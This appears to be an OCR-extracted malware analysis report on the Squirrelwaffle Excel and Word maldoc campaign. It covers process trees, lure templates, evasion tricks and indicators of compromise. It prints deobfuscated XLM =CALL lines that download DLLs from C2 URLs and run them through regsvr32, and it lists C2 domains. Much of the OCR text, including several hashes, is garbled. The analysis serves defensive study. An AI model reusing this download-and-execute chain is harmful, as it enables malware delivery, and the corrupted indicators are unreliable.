{5 Conhost exe (3520) Console Window Host C:\Windows\Syst .. - Microsoft Corporat... DESKTOP-GB7L... \?MC:\Windows*... 9/18/2021 2:06:5... 9/18/2021 2.07:0...

(= £ powershell exe (3640) Windows PowerShell C\Windows\Sys Microsoft Corporat... DESKTOP-G87LJ... "C:\Windows\Sys... 9/18/2021 2:06:5... 9/18/2021 2:07:0.
i Conhost exe (1228) Console Window Host C:\Windows\Syst .. - Microsoft Corporat... DESKTOP-GB7L)... \?MC:\Windows*... 9/18/2021 2:06:5... 9/18/2021 2.07:0...

[= i omd exe (3468) Windows Command Processor C\Windows\Sys Microsoft Corporat .. DESKTOP-G87LJ... "C:\Windows\Sys... 9/18/2021 2:07:1... 9/18/2021 2:07:2.
i Conhost exe (4532) Console Window Host C:\Windows\Syst .. Microsoft Corporat... DESKTOP-GB7L)... \?MC:\Windows'... 9/18/2021 2:07:1... 9/18/2021 2.07:2...

.,:; rundl32.exe (4464) Windows host process (Rundll32) C:\Windows\Sys Microsoft Corporat... DESKTOP-G87LJ... wndl32exe C\P.. 9/18/2021 2:07:1.. 9/18/2021 2:07:2.
[ g emd exe (4688) ‘Windows Command Processor C:\Windows'\Sys Microsoft Corporat... DESKTOP-G87L... "C:\Windows"Sys... 9/18/2021 2:07:1... 9/18/2021 2.07:2...
{5 Conhost exe (5200) Congole Window Host C\Windows'\Syst ... Microsoft Corporat... DESKTOP-GB7LJ... \?MC\Windows... 9/18/2021 207:1... 9/18/2021 2.07:2...
; rundll32.exe (49520) 'Windows host process (Rundll32) C:\Windows'\Sys. Microsoft Corporat... DESKTOP-GB7LJ... undl3Z.exe CAP.. 9/18/2021 2:07:1... 9/18/2021 2.07:2...
= gl omd .exe (384) ‘Windows Command Processor C:\Windows\Sys Microsoft Corporat... DESKTOP-GE7L)... "C:\Windows\Sys... 9/18/2021 2.07:1... 9/18/2021 2.07:2...

3% Conhost exe (4164) Console Window Host C:\Windows'\Syst Microsoft Corporat .. DESKTOP-GB7LJ... \?NC\Windows... 9/18/2021 2:07:1 .. 9/18/2021 2.07:2.
.,: rundll32.exe (6624) ‘Windows host process (Rundl32) C:\Windows\Sys Microsoft Corporat... DESKTOP-GB7L)... undl32.exe C:AP.. 9/18/2021 207:1... 9/18/2021 2.07:2...

= g8 omd exe (1752) Windows Command Processor C\Windows\Sys Microsoft Corporat... DESKTOP-G87LJ... "C:\Windows\Sys... 9/18/2021 2:07:1... 9/18/2021 2:07:2.
{4 Conhost exe (328) Console Window Host C:\Windows\Syst .. Microsoft Corporat... DESKTOP-GB7L... \?MC:\Windows... 9/18/2021 2:07:1... 9/18/2021 2.07:2...

undl32 exe (5544) Windows host process (Rundll32) C\Windows\Sys Microsoft Corporat... DESKTOP-G87LJ... wndl32exe CAP.. 9/18/2021 2:07:1.. 9/18/2021 2:07:2.
(= i emd exe (4272) ‘Windows Command Processor C:\Windows\Sys Microsoft Corporat... DESKTOP-GB7L... "C:\Windows\Sys... 9/18/2021 2:07:1... 9/18/2021 2.07:2...

% Conhost exe (1832) Console Window Host C\Windows'\Syst Microsoft Corporat... DESKTOP-G87LJ... \?NC:\Windows*... 9/18/2021 2:07:1... 9/18/2021 2:07:2.
“rundll32.exe (3376) ‘Windows host process (Rundll32) C:\Windows\Sys - Microsoft Corporat... DESKTOP-GB7L)... undl32.exe C:AP.. 9/18/2021 2:07:1... 9/18/2021 2.07:2...

The downloaded DLL modules (LdrLoader) are all the same file. Threat actors have five URLs, and each stores the DLL module.
We believe that this is a backup method in this case if one of the URLs is not responding.
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Update 20/09/2021:
We have detected a new Squirrelwaffle sample which this time have been Excel malicious documents.

The Excel documents also have the unique pattern name diagram_[RandomChar0-9].xls

Communicating Files

Scanned Detections Type Name

2021-09-20 7 159 MS Excel Spreadsheet  3f453d0703faB1709d25céade25215064f3Babceec?699b7b49fbPb4171bbb50 .xls
2021-09-20 7159 MS Excel Spreadsheet 182allae?bbécPabed3fd9dbd7a0176a5895f354443e31ab3258182cab2d3ad7 xls
2021-09-20 6 /58 MS Excel Spreadsheet  diagram_1196516445.xls

Files Referring C

Scanned Detections Type Name

2021-09-20 & /59 MS Excel Spreadsheet payload_1.bin

2021-09-20 7159 MS Excel Spreadsheet 3f453d0703faB1709d25c6ade252150646f3Babceec?699b7b49fb9b4171bbb50.xIs
2021-09-20 7159 MS Excel Spreadsheet  182allae?béécPabed$fd?dbd7a0176a5895f354443e31ab3258182cas2d3a47.xls
2021-09-20 6 (59 MS Excel Spreadsheet  payload_1.bin

2021-09-20 & /59 MS Excel Spreadsheet  f7d0d3fb27615fa165047c47d0a28b7619d7179c51a45d0687b30cc42a61df0a
2021-09-20 & /59 MS Excel Spreadsheet diagram_1655067648_.xls

2021-09-20 & (58 MS Excel Spreadsheet  diagram_1196516445.xls

2021-09-20 & /58 MS Excel Spreadsheet  diagram_1169032331.xls

2021-09-20 & [ 58 MS Excel Spreadsheet diagram_501752187.xls

2021-09-20 & /59 MS Excel Spreadsheet  diagram_620045584.xls

The new Excel documents use a new fake template to lure the victim to click on the “Enable Content” security button:

hat n

Signin & Share

File [P nsert Pagelayout  Formulas  Data  Review  View

&% Cut L= — B =t Fm B 5 > AutoSum - A p
= Calibri [ ETI =2 ¥ Fwept General = L I;) Normal Bad iR = zY

Paste o i - ===l H5 L L 0 o Conditional Formatas Meutral — lnsert Delete Format Sort & Find &
*Formatpaimer | B T U H OB SSSE Sl | O 9 Eovinating= Table: | Fori e e e | @ Clearr Filter = Sellect ~
Clipboard i1 Font [} Alignment 5 Number ) Styles Cells Editing -

I 1 SECURITY WARNING Macros have been disabled. Enable Content I x

AL ' I &
A B C D ¥ F G H 1 J K L 1) N o] P Q R 35 T u v w x Y z An AB AC -

1

2

3

4 4

s 0 This document protected by

6 . .

: Microsoft Office

9

10

1

1

1

14 TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:

15

1

17] ® Select Enable Editing

18

19

21

2

L ® In the Microsoft Office Security Option dialog box, select Enable Content

=

24 SECURITY WARNING Macros have been disabled. Enable Content

g U,

28

29

%Sl E-)Q If you are using a mobile device, try opening the file using the full office desktop app.

3

33| -
» Sheet | ND | sum | ept | ep2 | ep3 | ep4 | epS | ep6 | ep? | eps | epy | frm. | frm. | frm. | few. | fte .. @® [«] v

The threat actors use several defensive evasion techniques to bypass security application, AVs, and EDRs. These techniques
make researchers and security analysts’ life harder.

¢ Hidden Sheets
« White color font for the macros
« Obfuscation and scrambling of the macros in deferent sheets
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Unhide

Unhide sheet:

sum
epl

ep2
ep3
ep4
ep5s

epb

~no ]

Hidden Sheets

oK

I SECURITY WARNING Macros have been disabled. Enable Content

118 7 E3

"https://cortinastelasytrazos.com/Yro6Atvj/sec.html",

L E L E LG L H L 1

Cancel

[~
BEEEEEREREE e © N 0wy

"
=

» | sheet | ND | sum

White macro font color

epl | ep2 | ep3 ‘ epd ‘ eps | epé | ep? ‘ epd | epg | frm. ‘ frm.. | frm... ‘ fev. | fte ...

©

[«
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-y

Past:

A7

Formulas Data Review View

% cut Calibri s -l A A
ER Copy -

e
' Format Painter

¥ - BewrapText

Clipboard & Alignment

- Je

= Merge & Center ~

n

General
$-%

Number

<o o
L
Formatting -

(F]

L L

Q Normal

Conditional Formatas| Neutral
Table -~

==
.

e

Insert Delete Format

[ Fi-

& Clear~

Cells

a | R S | T | u | W

3 AutoSum ~ JZ;Y p

£ Share

ign in

Sort & Find &
Filter - Select -

Editing ~

"R
e,

"Kernel32",
"1JCCBB",

"urlmon",

"C:\Datop",

"ShellExecuteA”,

"https://

com, if

“https://
"https:/f
"C:\Datop\testLtest",

"C:\Datop\test.test",

"C:\Datopltest2.test",

html”,
html",

m/gY00p:

t/

“regsvr3a",

"lcccu”,

-html",

» | sheet | ND | sum | epl

ep2 | ep3 | epd | eps | eps | ep7 | eps | epo | frm. | frm. | frm.. | few. | fte ..

® k]

100%

Ready

Obfuscation and scrambling of the macros in deferent sheets

The macro type is different in the Word documents. Threat actors use VBA code in, while in Excel the macro type is macro v4
(XLM).

macro v4 (XLM), example:

=FORMULA ('epl’ !B13,ND!H21)=FORMULA ('epl'!DS,ND!H22) =FORMULA (fte. !D4, frm. . ! E22) =FORMULA (' epl' ! F10,ND!H23) =FORMULA (fev. 1614, frm. .. ! I8)=FORMULA ('=pl' !D17,ND!H24) =FCRMULA('epl' !HSs
*epz'!I10&'ep3’ !T11&'epd’ !H126"eps' 1066 ep6’ 1 T114frm, . . 1194 ep7" INS&LTm. . | E224 ep8 "' 1112, ND! H27) =FORMULA (sum!G2, ND!H25) =FORMULA (*epl’ | F15,ND!H2€) =FORMULA (' eps' ! F9, ND1E29
A('epl'!H14,NDIH2 "ORMULA (*epl’ 1G24, ND!H31) =FCRMULA ('epl’ ! 12, ND!H34)=FCRMULA (' =pl* L7, ND!H35) =FORMULA (cif!G12,chn!C18) =FORMULA (*=pl® 1011, ND!H36) =FORMULA(*epl’ !Q4, ND!H38
ULA('epl’!B21,ND!H58)=FORMULA ('epl' !S7, ND!H39)=FORMULA (*epl’ |G24,ND!H40) =FORMULA (*epl’ '£28, ND!H60) =FORMULA (sum! J21, ND!H42) =FORMULA (sum!P31schn!C13&sum! P34&sum! P356sum! P35&sum! P
3€&ND!H2Z15ND!H224ND ! H236ND! H245ND ! H256sum! P37, £rm. 'E15) =FORMULA (sum!P31&chn! C185sum! P34&sum! P3S&sun! P354sum! P36aND! H345ND! H356ND ! H366ND ! H29&ND ' H38aND! H3S5ND! H406ND  H296ND ! He28s
um!F37, frm. !E19) =FCRMULA (sum!P31&chn! C185sum! P34&sum! P356sum! P356sum! P366ND! H265ND! H276ND | HZ84ND1H29& *epl * | T185ND!H316ND! H296ND ! E25&sum! P37, fxm. 'E17) =FORMULA (sum! P314chn!C18&su
m!P345sum! P35&sum! P35&sum! P365ND! H265ND ! E27&4ND | H286ND! H254 'epl ' 1 T19&ND ' E58&ND! H295ND! H25 6 sum! P37, frm, 'E21) =FORMULA (sum!P31&chn! C184sum! P34&sum! P35&sum! P35&sum! P364ND | H345NDIH3E
&ND!H365ND!H26END | H384ND ! H394ND | H584ND! H295ND ! H42&sum! P37, fxm. 'E23) =FORMULA (sum! P315chn!Cl8&sun! P344sum! P35&sum! P35&sum! P364ND ! H264ND ! H274ND 1 H284ND! H295 'epl ' ! T20&ND! H604ND 1 H294
ND!H25&sum! P37, frm. | E25) =FORMULA (sum! P315chn!C18&sum! P34&sum! P355sum! P354sum! P364ND! H34&4ND! H354ND | H365ND! H295ND | H384ND ! H39&ND! H604ND | H295ND! H425sum! P37, frm. 1E27)

In both Excel and Word documents, threat actors use the “Auto Open” function to execute the macros.
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Insert Page Layout Formulas Data Review  View Q Tell mi

= X Cut 6 oo = E i Bx [
Calibri -1 -/ A A - B¢ Wrap Text General - = # | Normal Bad Good CI ]
e E o3 e sl

Paste I ou- i = =5 ElMerge&Center - | $ - % » % $8  Conditional Formatas| Neutral Calculation ~ Insert Delete Format

B u b
~ ¥ Format Painter Formatting = Table~ M M M

Clipboard £} Font £} Alignment ) Number ) Styles Cells

5 =CONCATENATE(sum!524,sum!G15,5um!D1,5um!C9,sum!I17,sumL7,5um!A9,5um!524,5um!525)

Auto_Open c D E E G H 1 J K L M N 0 P a | R | s T | u |

> Auto
& Fill -

& Clear

"ShellExecuteA”, "regsvr32",

9 "UR

| Jicecl,

13 "Kernel32",
14 "JICCBB",

15] “urlmon" |

17 "C:\Datop",

18 "https://cortinastelasytrazos.com/Yro6Atvj/sec.html”,

19 "https:// id llenata.com/4jmDb g/sec.html”,

20 "https://fundacionverdaderosheroes.com/gY00p5Jkht/sec.html",
21 "C:\Datop\testl.test",

24 "C:\Datop\test.test",

28 "C:\Datop\test2.test",

» | sheet | ND | sum | epl | epz | ep3 | epd | eps | epé | ep7 | ep8 | epo | frm. | frm. | frm. | fev. | fte .. @ 1

Ready

After extracting some artifacts, we have found the following:

Win API:
Kernel32 CreateDirectoryA

Urlmon URLDownloadToFileA

Shell32 ShellExecuteA

C2 URL:
hxxps://cortinastelasytrazos[.Jcom/Yro6Atvj/sec[.]html
hxxps://orquideavallenata[.Jcom/4jmDb0s9sg/sec[.]html
hxxps://fundacionverdaderosheroes[.Jcom/gY00p5Jkht/sec|.]html

File full path and name:
C:\Datop\test.test
C:\Datop\test1.test
C:\Datop\test2.test

Execution command:
regsvr32 C:\Datop\test*.test
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=CALL("Kernel32","CreateDirectoryA","JC1","C:\Datop",0)
=CALL(E19,"JICCBB",0,"https://cortinastelasytrazos.com/Yro6Atvj/E19sec.html","C:\Datop\test.test",0,0)
=CALL("Shell32","ShellExecuteA”,"1ICCCII",0,"open", "regsvr32"”,"C:\Datop\test.test",0,5)
=CALL("urlmon","URLDownloadToFileA","JCCBB",0,"https:/forquideavallenata.com/4jmDb0s9sg/sec.html","C:\Datop\test1.test",0,0)
=CALL("Shell32","ShellExecuteA”,"JCCCI",0,"open", "regsvr32", "C:\Datop\testl.test",0,5)

=CALL("urlmon","URLDownloadToFileA","JJCCBB",0, " hitps://fundacionverdaderosheroes.com/g¥00p5Jkht/sec.html","C:\Datop\test2.test",0,0)

=CALL("Shell32","ShellExecuteA”,"JJCCCII",0,"open", "regsvra2","C:\Datop\test2.test",0,5)

Threat actors change the download and the execution methods.

For the download, they use the urimon and URLDowenloadToFileA Win API functions and for the execution, they use Shell32
ShellExecuteA.

In this scenario, we have detected three DLL payloads instead of five (Word document flow). DLL payloads are executed by
abusing the legitimate Microsoft file (LOLbin — “Living off the land”) Regsvr32.

Network connection to the C2 server that stores the DLL payloads performed by the Excel document:

=B JEXCEL.EXE (3556)

#-gf IPv4
#-gf Pv4

- 108.167.165.249) ConvID = 24
-95.101.89.74) ConvID = 38

108[.]167[.]165[.]249
95[.]101[.].89[.]74

Full execution flow:

BEXCEL.EXE (33200 Microsoft Excel C:\Program Files (... _Micmsoﬂ Corporat... DESKTOP-GA7L)... "C:\Program Files ... 9/20/2021 8:41:4.. n/a
@splwow&'l.exe (6756) Print driver host fo... C:\Windows'splw... _Micmsoﬂ Corporat... DESKTOP-GE7L)... C:\Windows'splw... 9/20/2021 8:46:4... n/a

& regsvrdZ exe (2920) Microsoft(C) Regis... C:\Windows'\Sys... - Microsoft Corporat... DESKTOP-GE7L)... C:\Windows\Sys... 97202021 8:57:5... 9/20/2021 8:57:5...
& regsvr32 exe (4652) Microsoft(C) Regis... C:\Windows'\Sys... - Microsoft Corporat... DESKTOP-G87LJ... C\Windows'\Sys... 9/20/2021 8:57:5... 9/20/2021 8:57:5...
% regsvrdZ exe (5932) Microsoft(C) Regis... C:\Windows\Sys... - Microsoft Corporat... DESKTOP-GE7LJ... C:\Windows\Sys... 9/20-2021 8:57:5... 9/20/°2021 8:57:5...

Indicators of compromise
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MalDoc

ce31d139e6ea2591a8a15fcf37232f97¢c799e9c5d1410ef86b54a444a7d24d0f
77c¢8d399c3cdbb22502432f6ab49a8e56a2a8e4bf9bd02b37797a0ae5962b7d6
¢88
3f453d0703fa81709d25c6ade25215066f38abceec9699b7b49fb9b4171bbb50

182a11ae9b66c9abcd9fd9dbd7a0176a5895f354443e31ab3258182ca62d3a47

MalDoc C2 Servers

ghapan[.Jcom
yoowi[.]net

gruasingenieria[.]pe
chaturanga[.]groopy|[.Jcom

lotolands[.Jcom
bonus].]Jcorporatebusinessmachines].]Jco[.]in
bussiness-z[.]ml

perfectdemos[.]Jcom

cablingpoint[.]Jcom

priyacareers[.Jcom

DLL loader payloads

ad8cb4504a5af45ffa91699b017ffaObc9808e1b170027ab54fe316612790b9b6
813a9b03c6c1caecdeca8a867dcfbda7860bcabas5d481achb4c131c1a868d4b48

0d66e879f6e7bfa3ab9eb864094912ffd59¢c14792ed1d2e087e465e8098150fb
671f477c3039786c5f3553760377be03b91bfb66f31ba9370ed2193192cfSbde
85d0b72fe822fd6¢c22827b4da1917d2¢c1f2d9faa838e003e78e533384€a80939

19/20



DLL loader C2 Server

jhehosting[.Jcom
hrms|[.]Jprodigygroupindia[.Jcom

bartek-lenart[.]pl
centralfloridaasphalt[.Jcom
amjsys|.Jcom
mercyfoundationcio[.]Jorg

novamarketing[.Jcom[.]Jpk
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